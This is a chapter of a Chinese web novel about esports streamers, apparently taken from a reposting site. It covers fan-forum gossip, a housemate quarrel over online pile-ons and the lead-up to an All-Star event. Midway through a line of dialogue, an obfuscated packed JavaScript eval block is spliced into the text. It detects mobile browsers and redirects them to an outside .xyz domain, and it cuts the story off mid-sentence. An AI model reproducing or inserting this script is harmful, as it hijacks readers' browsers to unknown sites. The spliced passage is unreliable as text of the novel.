算了楼主别发了，一会游粉要来说是娱乐赛训练了，就好像yux的手没长在他自己身上似的 …… 146L 只有我关心为什么他们在打欧服吗 147L yux不知道，只知道天使意好像确实不在家里 148L 天使意不在家都能知道？ 149L 天使意的私生发的。。[图片][图片]说是很多天没看见他出门了，也没有外卖上门，大概率不在家里 150L 我靠他还有私生啊？这么恶心 151L 对这个主播无感但是私生也太恶心了吧。。。。能不能报警 …… 177L 楼里能不能别断章取义，大粉几天前发的消息是yux被盗号了，根本不是他本人在用，那名字明显就是盗号的人改的 为了嗑cp脸都不要了，真以为谁都像你家主播那么爱麦麸吗 178L 哇哦cp粉也太神通广大了，职业选手的号都能盗，盗完了还特意把天使意欧服号一起盗了让俩号双排，cp粉背负一切^ ^ 179L 不是，这回我是真好奇了，这到底是真的还是假的啊？前几天不还有人脉姐爆料他们有仇吗？天使意不是还发了道歉声明？ 180L 假的要死好不好，说了多少次是盗号盗号 是真的我直播吃键盘，行吗？ …… - 南知意在抵达M城的第十天决定返程。 起因是宠物寄养机构给他发了一段视频，视频里他的鸟扯着嗓子叫唤，在鸟架上走来走去。 【叨叨爸爸，叨叨好像有点分离焦虑发作哦？您看看合适的话，如果能尽早来接是最好的。】 南知意并不是叨叨的第一任主人。他收养它的时候，它还没有这么黏人，不知怎么，到了他家就突然变得离不开人了。 偶尔出门个三四天还好，长达十天的分别已经是鸟生不可承受之重。 南知意没有犹豫，立刻就订了当晚的机票。 游辛傍晚回家的时候知道了这个消息。他没什么特别大的反应，只是问：“这几天玩得还开心吗？” “开心，谢谢你收留我。”南知意已经彻底没了刚和对方见面时的那份拘谨，“你呢？打算什么时候回去。” 全明星赛在下个星期五。游辛想了想：“下周吧。” “那，嗯……到时候我请你吃饭？可以吗？”南知意试探性地发问。 “好啊。”游辛答应得很痛快，看起来完全没有任何芥蒂。 但接着又话峰一转：“到时候我怎么联系你？” 南知意：“……”他这才想起两个人到现在还没再加上微信。 游辛递出了自己的二维码。 他的微信头像是啃啃的怼脸大头照，小狗伸着舌头对着镜头傻乐，在一众选手标配的深沉动漫男头里显得格格不入。昵称则是他自己的职业ID“yux”。 南知意在通过好友之前先飞快地清理了一波朋友圈——他把所有晒鸟的照片全部设置成了仅自己可见，花了他整整二十分钟。 宋蒙开车来接他。游辛送他送到了门口，无视了他的婉拒，帮他把箱子拎了出去。 “下周见。”他说，后备箱“砰”的一声合拢。 “嗯，拜拜啦。” 南知意坐进副驾驶，系好安全带。 车开出一小段距离。他偷偷瞥了眼后视镜，发现游辛还站在门口。 到今天为止，南知意依然觉得自己的“散心之旅”如梦似幻：在倒霉了整整三个月之后，他竟然奇迹般地和游辛和好了。 就仿佛积攒了好几个月的运气，都被用在了这件事上。 现在……应该算是朋友了吧？南知意有些出神地想道。 “舍不得吗？”一旁开车的宋蒙冷不丁地问了句。 “啊……啊？？” 南知意骤然回神，被吓了一大跳。 他没来由的突然心虚：“蒙哥你、你刚刚说什么？” 宋蒙“扑哧”一声，似乎是被他的反应逗笑了。 “那什么，你别介意啊。”他说，“其实我们全队——我是说23年的CG——都知道小游有一段刻骨铭心的初恋，后来分手了。只是真没想到他的初恋是你。” “什么？我……” 南知意被搞得有点晕头转向了。半天，憋出干巴巴的一句：“你怎么，知道的啊。” ……他真没想过身边第一个知道的人会是宋蒙。 “我猜的。”宋蒙大笑起来，“知道前提的话，其实还挺好猜？” 南知意异常窘迫：“那，为什么你说队里都知道……” “嗯？那个是小游自己说的。有一次队里聚餐，他好像喝多了。”宋蒙说，“当然，他没说是男朋友——你放心好了，我不会告诉别人的。” 他看起来对这件事的接受程度异常之高：“先睡会吧，到了我叫你。” 南知意把头靠在车窗上。灯火憧憧，他盯着窗户里自己的倒影。 游辛对CG队里所有人说他有一段“刻骨铭心的初恋”？ 他心里是那样想的吗？ 南知意想起了自己向宋白羽的形容——“那时候不懂事，太儿戏了”。 ……他突然感觉自己有点像传说中的大渣男。 - 回程的飞机上，南知意怎么也睡不着了，索性掏出电脑开始剪前两天录下的素材。 他现在已经很少亲自动手剪视频了。丽姐给他请了专业的剪辑师，团队一共有三个人，一个主策，两个助理，工作效率比他高了不知多少。 时长不到二十分钟的视频剪了整整八个小时，下飞机的时候，南知意已经是哈欠连天。 他取了行李，站在一旁打开微信，拇指停留在最顶端的小狗头像上，微微出了会神。 两个人的聊天记录停留在十几个小时前，刚加上好友时，游辛发给他的猫猫表情包上。 这个表情是从游戏里截的，和上回两个人撞车上热搜时，游辛被调侃“以为yux这辈子都不会用”的表情一模一样。 南知意收回思绪。 他打字：【新视频已经剪好了，你觉得什么时候发合适呢？】 对面几乎是秒回。 【yux：什么时候都可以O.O】 出了机场，南知意直接打车到了寄养的地方，接上小鸟之后才再往家走。 到家的时候已经是晚上八点多了。 一进家门，就发现客厅里一片漆黑，但是沙发上有一个幽暗的光源。 丘成没开灯，躺在沙发上玩手机，听到动静立刻一溜烟地坐了起来。 他的表情先是有些茫然，接着认出来人，面上古怪地抽动了一下，随即挤出了一个笑容：“小意？你回来了？” 南知意“嗯”了一声，没多说什么。 丘成抓了抓头顶，他起了个话头：“呃，你回来的刚好，我刚还在和他们说呢——我打算组个队，去打聚星杯。现在队里还差人呢，你要来不？就四月，一个月的赛程。” 聚星杯是Stars平台联合其他平台举办的主播杯比赛，每年都会举行，最后胜出的冠亚军将有机会参与五月份举办的争锋者杯赛，与来自联赛一二队的职业选手同台竞技。 南知意没吭声，摸黑上了楼，把鸟笼放回它自己的房间。 他冷淡得太明显，丘成大概也意识到了什么。他从楼下追上来：“小意，你是不是生气了？汤圆说他不小心点错了把你从群聊里踢出去了，已经邀请了你回来，但是你没同意。他发消息你也没回。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351706|183514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还挺不小心的。” 南知意总算开口说了今晚的第一句话。 丘成听完，居然笑了：“你真生气啦？这么小心眼？我以为你不会因为这点小事生气的——” “丘成。”南知意连名带姓地叫他。 他的语气很郑重，没有一丁点开玩笑的意思：“你为什么会变成现在这样？” 丘成被他说的愣了一下。 “什么叫我变成——” “你之前不是这样的。”南知意从他身旁挤过去，出了门，去拿自己放在楼下的行李，“你忘了吗？你当初做账号的时候，说你想做大祭司的教学，你和我说想让别人夸你是亚服第一大祭司。你一开始做了三十多期视频，没人看，但你还是在坚持。” 丘成简直摸不着头脑：“那都是多久以前的事了……你突然和我说这个干嘛？” 南知意停下脚步。他在黑暗里回过身：“你明明和yux也不熟吧。你们之间一点过节也没有，为什么要和那些人一起开直播说那种话？” “我……”丘成磕巴了一下，他还是先试图解释，“小意，你是不是不知道啊？游辛得罪了CG的大老板，人家已经放话说要他在圈里混不下去了。你没看wind和beer什么态度吗？wind说他这个人人品很差，队里所有人都不待见他——” “所以你就这么迫不及待要吃他的黑流量吗？”南知意轻声说。 丘成看起来已经有点恼火了：“什么叫我吃他的黑——” “你有一千万粉丝，你的一言一行粉丝都会跟着模仿。你的一句话在你这里是一句话，在你的粉丝那里就能掀起一场风暴。” 南知意短暂地停顿了一下：“但是丘成，你有没有想过，你有这么多的粉丝，应该肩负起一定的责任和担当呢？你是你粉丝们的榜样，不论你到底讨不讨厌yux这个人，不论到底他得罪了谁，为了吸引流量去对他落井下石，你真的觉得自己做得对吗？” “那句话又他妈不是我说的！是汤圆说他路边一条，和我他妈的有什么关系！！” 丘成一巴掌拍在墙上，看起来已经是彻底来了火气。 南知意很冷静：“你在直播，没有反驳就是默许。” “对！对！我没反驳就是我默许！”丘成冲他吼道，“对！我没你高尚！我丘成就是得靠吃他yux的黑流量才有人看直播！” “你以为我是你吗，随随便便露个脸就有一大堆粉丝捧着你？还有个好文凭，就算以后不直播了也能找到个好工作？老子他妈就读了个职高，没流量吃不起饭以后就只能进厂拧螺丝！你他妈高高在上地指责我的时候你有站在我的角度考虑过哪怕一秒钟吗？” 南知意站在黑暗里，看面前的丘成暴跳如雷。这一刻他忽然失望透顶。 “说了这么多，你还是不明白。这不是你能去伤害别人的理由。” 丢下这么一句，南知意提着行李回了自己的房间。 “咱们俩认识十多年了。你和那个yux不也就在高中一起玩过几天吗？”丘成在他背后对他喊道，“为了这么个人这样和我说话，南知意，你到底有没有把我当成过你的朋友啊？” - 丘成和南知意陷入了冷战。接下来的几天时间里，两个人一句话也没有再说过。 日子一天天过去，2月14日——全明星赛开幕的这天——终于来了。 赛事一共持续三天，第一天是开幕式、颁奖典礼和娱乐赛，后面则有团体赛、Solo赛等不同项目。 游辛原定提前一天抵达举办比赛的S市。南知意原本想请他吃个饭，感谢他前段时间的收留，奈何飞机晚点了，14日凌晨一点多才落地，他只得把订好的餐厅又取消了。 今年的全明星赛比以往任何一届都要引人瞩目。 究其原因，还是“人间蒸发了三个月的yux将在现场露面”，并且CG的其余队员，除了新上场的选手xww以外，都将作为嘉宾出席。 除此以外，“yux与天使意的同队比赛”，也使得双方的粉丝群体之间暗流涌动。 比赛还没开始，赛场外已是火药味十足。 然而，当天的早些时候，一条视频的出现瞬间引爆了本就紧张的赛前氛围。 【@天使意投稿了视频：和最强冠军主C选手yux一起疯狂乱斗？】